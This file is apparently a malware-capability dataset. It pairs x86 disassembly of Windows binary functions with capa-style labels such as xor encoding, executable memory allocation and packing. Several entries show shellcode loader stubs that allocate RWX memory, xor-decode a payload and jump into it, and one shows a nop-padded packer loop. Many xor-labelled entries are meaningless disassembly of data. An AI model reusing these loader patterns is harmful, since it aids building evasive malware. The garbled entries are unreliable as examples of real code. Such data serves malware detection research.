joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101f5a10
Capabilities:
Encode data using xor

Disassembly:
or dl, ch
jecxz 0x101f59df
invalid
mov dword [0x35d591f6], eax
out 0xc0, eax
jmp 0x101f59df
fcmovnu st(0), st(4)
mov dh, 0x55
retf
adc edx, dword [eax]
jle 0x101f59c5
loopne 0x101f5a50
movsd dword es:[edi], dword [esi]
dec ebp
lea ebx, [0xbcc01b6b]
je 0x101f59cf
invalid
test eax, 0xb21e2890
add byte ds:[ebx + 0x53], bl
imul esi, ecx, 0xf3f20ec8
mov ecx, ebx
sti
and al, 0xca
push ds
leave
jmp 0xcc31c38a
dec ebx
or cl, byte [ebx + ebp*2]
jbe 0x101f5a32
adc al, 0x4a
xor dword [edi - 0x5ec52841], esi
cmp byte [ecx - 0x529975ca], dh
pop es
and eax, 0xf2b07a24
xor dword [eax - 0x58c1dde], ebx
push esp
pop ebp
sbb al, 0xe5
push cs
and dh, byte [ebx - 2]
mov bl, byte [edx]
xchg dl, dh
jg 0x101f5a64
fadd qword [edi]
inc ecx
ret 0xafc0

Function at 0x10233990
Capabilities:
Encode data using xor

Disassembly:
dec esp
cmp al, 0x1f
mov dl, 0xd2
invalid
inc eax
rcl byte [ecx - 0x67b6c7a5]
sub eax, 0x395e3a5b
mov cl, 0x10
jns 0x1023393a
int3

Function at 0x1029801c
Capabilities:
Encode data using xor

Disassembly:
sbb dword [eax - 0x58951607], esp
or esi, eax
bound edi, qword [edx]
add eax, 0xea81d694
salc
sub edx, 0xa15d7cc5
add dword [edx - 0x64], 0xffffffe9
sbb dword [edi + 0x6f], edx
jb 0x10297fd0
out dx, al
neg dword [edx + ecx*4]
mov cl, byte [ecx - 0x74]
mov cl, byte [ecx - 0x74]
cli
jns 0x10297ff6
adc al, 0x59
push ss
jecxz 0x10298010
mov cl, 0xf3
fidivr dword gs:[edx + ebp*8]
wait
mov bl, byte cs:[edx - 0x533ce3b2]
cdq
invalid

Function at 0x1029875c
Capabilities:
Encode data using xor

Disassembly:
mov esi, dword [eax]
and dword [edi], edi
fidiv word [edx]
fdivr qword [edi - 0x24dc2e8e]
xor al, 0x89
inc eax
std
xchg esp, eax
jl 0x10298762
in eax, dx
cmpsb byte [esi], byte es:[edi]
mov ch, 0xcd
pop edi
invalid

Function at 0x102b01fc
Capabilities:
Encode data using xor

Disassembly:
sub eax, 0x1e2f42b4
xor eax, 0xef746ba9
invalid

Function at 0x103a1478
Capabilities:
Encode data using xor

Disassembly:
pop ebx
daa
cmp ebp, dword [eax - 0x56]
stosb byte es:[edi], al
add ebp, dword [ebx + 0x7bd0b2f8]
xor byte [ecx], ch
mov eax, 0xb5f70c6
arpl word [bx + si], di
in al, dx
std
ja 0x103a1475
invalid

Function at 0x103a18ec
Capabilities:
Encode data using xor

Disassembly:
movsd dword es:[edi], dword [esi]
dec edi
push ss
mov ah, 0x2a
fdivrp st(2)
push esi
aaa
and bl, byte [edx + edx*2]
aam 0x9d
xchg esp, eax
mov ebp, dword [0xa52163d4]
imul edx, dword [ecx], 0x5bbd8f06
sti
xchg edi, eax
xor eax, 0x265ec7b7
cld
loop 0x103a18ac

Function at 0x103a20d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push esi
push edi
mov dword [0x103d969c], 0x103d96a8
jmp 0x103a20e4
jmp 0x103a20e7
jmp 0x103a20e1
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor esi, esi
xor edi, edi
mov eax, dword [esi*4 + 0x103b0044]
test eax, eax
je 0x103a2118
push eax
push 0x40
push 0x1000
push eax
push 0
call ebx
push eax
mov eax, dword [0x103d969c]
push esi
lea ecx, [edi + eax]
call fcn.103ade50
inc esi
add edi, 0x3c
cmp esi, 0xb
jb 0x103a20f1
pop edi
pop esi
pop ebx
ret
Function at 0x103ad950
Capabilities:
Parse pe header

Disassembly:
mov eax, ecx
mov ecx, dword [0x103b115c]
sub esp, 0xc
test ecx, ecx
je 0x103ad98f
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [eax], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [eax + 4], edx
mov edx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [eax + 0x10], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov dword [eax + 8], edx
mov dword [eax + 0xc], ecx
add esp, 0xc
ret
mov dword [esp + 4], 0xf8835268
mov dword [esp + 8], 0xf8435268
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
sub ecx, edx
mov dword [esp + 4], ecx
mov edx, dword [esp + 4]
mov dword [esp + 8], edx
mov ecx, dword [esp + 8]
cmp word [ecx], 0x5a4d
jne 0x103adb59
mov edx, dword [esp + 8]
mov ecx, dword [esp + 8]
push esi
add ecx, dword [edx + 0x3c]
mov dword [esp + 0xc], ecx
mov edx, dword [esp + 0xc]
cmp dword [edx], 0x4550
jne 0x103adb58
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx + 0x80]
mov dword [esp + 0xc], edx
mov ecx, dword [esp + 0xc]
add ecx, dword [esp + 8]
mov dword [esp + 4], ecx
je 0x103adb58
mov edx, dword [esp + 4]
mov ecx, dword [edx + 0xc]
test ecx, ecx
je 0x103adb58
mov ecx, dword [esp + 4]
mov esi, dword [ecx + 0xc]
mov edx, dword [esp + 8]
add edx, esi
mov esi, dword [edx]
mov edx, dword [edx + 4]
xor esi, 0x7be91d75
xor edx, 0xca701e2d
cmp esi, 0x35bb583e
jne 0x103ada41
cmp edx, 0xf8435268
je 0x103ada53
mov edx, dword [esp + 4]
add edx, 0x14
mov dword [esp + 4], edx
jne 0x103ada04
pop esi
add esp, 0xc
ret
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
push edi
add edx, dword [ecx]
mov dword [esp + 0x10], edx
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
add edx, dword [ecx + 0x10]
mov dword [esp + 8], edx
mov ecx, 0x4865
mov edx, dword [esp + 0x10]
mov edi, dword [edx]
mov esi, dword [esp + 0xc]
mov edx, dword [esi + edi + 6]
add esi, edi
mov edi, dword [esi + 2]
xor edx, 0x7be91d75
xor edi, 0xf8435268
cmp edx, 0x17a87827
jg 0x103adb00
jl 0x103adaa7
cmp edi, 0x88223720
ja 0x103adb00
cmp edi, 0x88223720
jne 0x103adac3
cmp edx, 0x17a87827
je 0x103adaf5
cmp edi, edi
jne 0x103adac3
cmp edx, 0x14857134
je 0x103adaea
cmp edi, 0xb537372f
jne 0x103adb34
cmp edx, 0x179c791a
jne 0x103adb34
cmp word [esi + 0xa], cx
jne 0x103adb34
mov dl, byte [esi + 0x12]
test dl, dl
jne 0x103adb34
mov edx, dword [esp + 8]
mov edx, dword [edx]
mov dword [eax], edx
jmp 0x103adb34
mov edx, dword [esp + 8]
mov edx, dword [edx]
mov dword [eax + 4], edx
jmp 0x103adb34
mov edx, dword [esp + 8]
mov edx, dword [edx]
mov dword [eax + 0xc], edx
jmp 0x103adb34
cmp edi, 0xa837372f
jne 0x103adb10
cmp edx, 0x1e8a7207
je 0x103adb2b
cmp edi, 0x88223720
jne 0x103adb34
cmp edx, 0x1e8c6f33
jne 0x103adb34
mov edx, dword [esp + 8]
mov edx, dword [edx]
mov dword [eax + 8], edx
jmp 0x103adb34
mov edx, dword [esp + 8]
mov edx, dword [edx]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x10]
add edx, 4
mov dword [esp + 0x10], edx
mov edx, dword [esp + 8]
add edx, 4
mov dword [esp + 8], edx
mov edx, dword [esp + 0x10]
cmp dword [edx], 0
jne 0x103ada76
pop edi
pop esi
add esp, 0xc
ret
Function at 0x1000179f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x100017ae
pop dword [ebp - 0x44]
mov eax, 0x71b56c20
sub eax, 0x61b55472
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xa0187b
add dword [ebp - 0x54], 0x4db22cd0
mov dword [ebp - 0x50], 0xd0c33219
add dword [ebp - 0x50], 0x61701a2c
mov dword [ebp - 0x4c], 0xf4196964
add dword [ebp - 0x4c], 0x5832daca
mov dword [ebp - 0x48], 0x6e557b26
sub dword [ebp - 0x48], 0x6e557b26
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xe53c4eff
add dword [ebp - 0x54], 0x8f361a57
mov dword [ebp - 0x50], 0x3ec4b1cb
sub dword [ebp - 0x50], 0xfd585056
mov dword [ebp - 0x4c], 0x7683224a
sub dword [ebp - 0x4c], 0x1313b5de
mov dword [ebp - 0x48], 0xc1eb88d0
add dword [ebp - 0x48], 0x3e147730
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3353d
push 0
call eax
mov ecx, 0x39f0
mov edi, eax
mov edx, 0x8059ad8d
add edx, 0x8fa6ea73
add edx, dword [ebp - 0x44]
mov esi, 0xe365c4dc
add esi, 0xe54dfa23
sub dword [ebp - 0x1c], 0x9ee9ed86
mov ebx, dword [edx]
add dword [ebp - 0x24], 0xe10af485
xor ebx, esi
xor dword [ebp - 0xc], edi
mov dword [edi], ebx
sub dword [ebp - 0x40], edi
add edi, 4
add edx, 0x7d2ec9a2
add edx, 0x82d13662
loop 0x100018c0
add eax, 0xda93
mov ebx, eax
add eax, 5
mov ecx, 0x20e277a
add ecx, 0xdf1d886
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x4205ba
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4205f9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4205f9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4205f9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4205f9
cmp dword [ecx + 0x74], 0xe
jbe 0x4205f9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4265af
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44c898
push 0x44c890
push str.FlsAlloc
push 0x1f
call fcn.0042646e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4265e3
push dword [ebp + 8]
mov ecx, esi
call dword [0x42f144]
call esi
jmp 0x4265e9
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42662d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44c8a8
push 0x44c8a0
push str.FlsGetValue
push 0x21
call fcn.0042646e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x426664
push dword [ebp + 8]
mov ecx, esi
call dword [0x42f144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42666c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44c8b0
push 0x44c8a8
push str.FlsSetValue
push 0x22
call fcn.0042646e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4266a6
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42f144]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x427e5e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x427efb
push ebx
push esi
call fcn.00427e27
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00427dbb
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x427ea8
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x427efa
push edi
push eax
call fcn.00426871
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x427ec8
call fcn.004268bf
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x427ef9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00427dbb
add esp, 0x20
test eax, eax
jne 0x427ee7
push edi
call fcn.004268bf
jmp 0x427eef
push ebx
call fcn.004268bf
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x42e140
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42e16d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42e16d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x25817019
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x25817028
pop dword [ebp - 0x50]
mov eax, 0xfce8e41b
sub eax, 0xd76773f3
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x4df4a94c
add dword [ebp - 0x60], 0x5d9bff
mov dword [ebp - 0x5c], 0xb3ff511c
sub dword [ebp - 0x5c], 0x81cc04d7
mov dword [ebp - 0x58], 0x39221ec2
sub dword [ebp - 0x58], 0xecd5da94
mov dword [ebp - 0x54], 0x15aef463
sub dword [ebp - 0x54], 0x15aef463
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xf7240477
sub dword [ebp - 0x60], 0x82b19b21
mov dword [ebp - 0x5c], 0x13c34f62
sub dword [ebp - 0x5c], 0xd256eded
mov dword [ebp - 0x58], 0x4765b031
add dword [ebp - 0x58], 0x1c09bc3b
mov dword [ebp - 0x54], 0x735b39d2
sub dword [ebp - 0x54], 0x735b39d2
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xc6fbefdf
add eax, 0x5e85e0a1
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3e841
push 0
call eax
mov ecx, 0xc01e4a62
add ecx, 0x3fe2043f
mov edi, eax
mov edx, 0xf65af68a
add edx, 0x2f279f76
add edx, dword [ebp - 0x50]
mov esi, 0xb886821d
sub esi, 0x2786ee75
add dword [ebp - 4], esi
mov ebx, dword [edx]
xor dword [ebp - 0x30], eax
add ebx, esi
mov dword [ebp - 0xc], 0x4449db3e
mov dword [edi], ebx
add dword [ebp - 0x3c], 0x62d3bef3
add edi, 0xf3c79540
add edi, 0xc386ac4
add edx, 4
loop 0x25817145
add eax, 0xd04a1937
sub eax, 0xd048ebe0
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xeeb2c372
sub ecx, 0xc932c372
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x41ef00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x41ef0f
pop dword [ebp - 0x1c]
mov eax, 0xdfd22203
add eax, 0x206fcd0c
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xb9f4d209
add dword [ebp - 0x2c], 0x945d7342
mov dword [ebp - 0x28], 0x90951ebc
sub dword [ebp - 0x28], 0x5e61d277
mov dword [ebp - 0x24], 0x12b41e27
sub dword [ebp - 0x24], 0xc667d9f9
mov dword [ebp - 0x20], 0x40c1bdd2
add dword [ebp - 0x20], 0xbf3e422e
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xa7e00dc7
add eax, 0x586352ed
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x11ad26d2
add dword [ebp - 0x2c], 0x62c54284
mov dword [ebp - 0x28], 0x6fc7217b
add dword [ebp - 0x28], 0xd1a53ffa
mov dword [ebp - 0x24], 0x3993ef9
sub dword [ebp - 0x24], 0xa029d28d
mov dword [ebp - 0x20], 0xd95a6289
sub dword [ebp - 0x20], 0xd95a6289
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x40900
push 0
call eax
mov ecx, 0x5c40
xor ebx, ebx
add ebx, eax
mov edx, 0xb5c58213
sub edx, 0xb5812213
add edx, dword [ebp - 0x1c]
mov edi, 0x29fb7ac4
xor dword [ebp - 0xc], edx
mov esi, dword [edx]
add dword [ebp - 0x14], 0xccfdae5d
add esi, edi
sub dword [ebp - 0x18], 0xbd377704
mov dword [ebx], esi
sub dword [ebp - 0x10], esi
add ebx, 0x4addf79e
add ebx, 0xb5220866
add edx, 4
loop 0x41f022
add eax, 0xa76fc787
add eax, 0x58919c4c
xor ebx, ebx
add ebx, eax
add eax, 0x61caba20
sub eax, 0x61caba1b
mov ecx, 0x6fe53523
add ecx, 0x905acadd
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x4265e0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call main
add esp, 8
test eax, eax
jne 0x426603
mov eax, 0x80004005
mov esp, ebp
pop ebp
ret 0x10
push esi
mov esi, dword [ebp + 0x14]
push edi
xor edi, edi
test esi, esi
je 0x4266ad
lea ecx, [ebp - 0x10]
call main
push 1
push edi
push esi
lea ecx, [ebp - 0x10]
call main
test al, al
jne 0x42663d
lea ecx, [ebp - 0x10]
call main
lea eax, [edi + 1]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x426642
sub ecx, edx
sar ecx, 1
je 0x426696
movzx eax, word [esi + ecx*2 - 2]
cmp eax, 0x2e
je 0x426696
cmp ecx, 1
jbe 0x42666f
cmp word [esi + ecx*2 - 4], 0x2e
jne 0x42666f
cmp eax, 0x5c
je 0x426696
push 0
push esi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
jne 0x42669b
call dword [sym.imp.kernel32.dll_GetLastError]
lea ecx, [ebp - 0x10]
mov edi, eax
call main
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov edi, 1
lea ecx, [ebp - 0x10]
call main
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov edi, 1
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x426710
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
call main
add esp, 8
test eax, eax
jne 0x426738
mov eax, 0x80004005
mov esp, ebp
pop ebp
ret 0x1c
lea eax, [ebp + 0x10]
push eax
mov eax, dword [ebp + 8]
push dword [ebp + 0x14]
push dword [eax + 8]
call main
add esp, 0xc
test al, al
jne 0x42675c
mov eax, 0x57
mov esp, ebp
pop ebp
ret 0x1c
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.kernel32.dll_GetFileSize]
mov edx, eax
cmp edx, 0xffffffff
jne 0x42677c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esp, ebp
pop ebp
ret 0x1c
cmp dword [ebp + 0x20], 0
jne 0x426797
mov ecx, dword [ebp + 0x1c]
mov eax, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
xor eax, eax
mov esp, ebp
pop ebp
ret 0x1c
cmp dword [ebp - 4], 0
je 0x4267a8
mov eax, 1
mov esp, ebp
pop ebp
ret 0x1c
cmp edx, 0x7fffffff
ja 0x42679d
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
xor eax, eax
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x43428d
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x43a7e0
call fcn.00434520
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.MSVCR120.dll___crtGetShowWindowMode]
movzx ebx, ax
mov dword [ebp - 4], esi
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
mov edi, esi
mov esi, 0x440c6c
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
je 0x434127
cmp eax, edx
jne 0x434110
xor esi, esi
inc esi
mov edi, esi
jmp 0x43412a
xor esi, esi
inc esi
cmp dword [0x440c70], esi
jne 0x43413c
push 0x1f
call sub.MSVCR120.dll__amsg_exit
pop ecx
jmp 0x434177
cmp dword [0x440c70], 0
jne 0x434171
mov dword [0x440c70], esi
push 0x436450
push 0x436440
call sub.MSVCR120.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x434177
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x434287
mov dword [0x440bd8], esi
cmp dword [0x440c70], esi
jne 0x43419a
push 0x43643c
push 0x436408
call sub.MSVCR120.dll__initterm
pop ecx
pop ecx
mov dword [0x440c70], 2
test edi, edi
jne 0x4341a7
xor eax, eax
mov ecx, 0x440c6c
xchg dword [ecx], eax
cmp dword [0x440c74], 0
je 0x4341cb
push 0x440c74
call main
pop ecx
test eax, eax
je 0x4341cb
push 0
push 2
push 0
call dword [0x440c74]
mov eax, dword [sym.imp.MSVCR120.dll__wcmdln]
mov ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
push 0x20
pop esi
mov edx, dword [ebp - 0x20]
movzx eax, word [ecx]
cmp ax, si
ja 0x434224
test ax, ax
je 0x4341ec
test edx, edx
jne 0x434224
movzx eax, word [ecx]
test ax, ax
je 0x434201
cmp ax, si
ja 0x434201
add ecx, 2
mov dword [ebp - 0x1c], ecx
jmp 0x4341ec
push ebx
push ecx
push 0
push 0x400000
call main
mov dword [0x440bdc], eax
cmp dword [0x440be0], 0
jne 0x43426c
push eax
call dword [sym.imp.MSVCR120.dll_exit]
cmp eax, 0x22
jne 0x434235
xor eax, eax
test edx, edx
sete al
mov edx, eax
mov dword [ebp - 0x20], edx
add ecx, 2
mov dword [ebp - 0x1c], ecx
jmp 0x4341db
cmp dword [0x440bd8], 0
jne 0x434280
call dword [sym.imp.MSVCR120.dll__cexit]
mov eax, dword [0x440bdc]
mov dword [ebp - 4], 0xfffffffe
call fcn.00434565
ret
call main
jmp 0x4340e0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x23d9311f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x2038171a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10017fde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10017fed
pop dword [ebp - 0x48]
mov eax, 0xbf7e87f8
sub eax, 0xaf7d080b
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x2d255cd9
add dword [ebp - 0x58], 0x212ce872
mov dword [ebp - 0x54], 0xd5e6d209
sub dword [ebp - 0x54], 0xa3b385c4
mov dword [ebp - 0x50], 0xf1725441
add dword [ebp - 0x50], 0x5ad9efed
mov dword [ebp - 0x4c], 0x420ddecc
add dword [ebp - 0x4c], 0xbdf22134
lea eax, [ebp - 0x58]
push eax
mov eax, 0x4d305e47
add eax, 0xc2d131f5
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xd2ab4a33
add dword [ebp - 0x58], 0xa1c71f23
mov dword [ebp - 0x54], 0xa259bb30
add dword [ebp - 0x54], 0x9f12a645
mov dword [ebp - 0x50], 0xff38c154
sub dword [ebp - 0x50], 0x9bc954e8
mov dword [ebp - 0x4c], 0xdf6cdb90
sub dword [ebp - 0x4c], 0xdf6cdb90
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x15e66ad7
add eax, 0xfa1b2561
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x31526
push 0
call eax
mov ecx, 0x3339
mov ebx, eax
mov esi, 0x6159f37e
add esi, 0xaea83482
add esi, dword [ebp - 0x48]
mov edi, 0xa460633c
sub edi, 0xf5a43b77
xor dword [ebp - 4], 0x5531074f
mov edx, dword [esi]
sub edx, edi
xor dword [ebp - 8], 0xcf5cabd
mov dword [ebx], edx
sub dword [ebp - 0x3c], 0x4e03a7cf
add ebx, 0x174026a2
add ebx, 0xe8bfd962
add esi, 0x28b81fe6
sub esi, 0x28b81fe2
loop 0x10018109
add eax, 0x2cd5fa4e
sub eax, 0x2cd53a97
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x39f6128
add ecx, 0xc609ed8
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x403680
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x40368b
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x403747
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
sub edi, 1
jne 0x4036a0
pop edi
test esi, esi
je 0x40376a
nop dword [eax + eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x40ec00]
sub esi, 1
jne 0x403750
not ecx
mov eax, ecx
pop esi
pop ebp
ret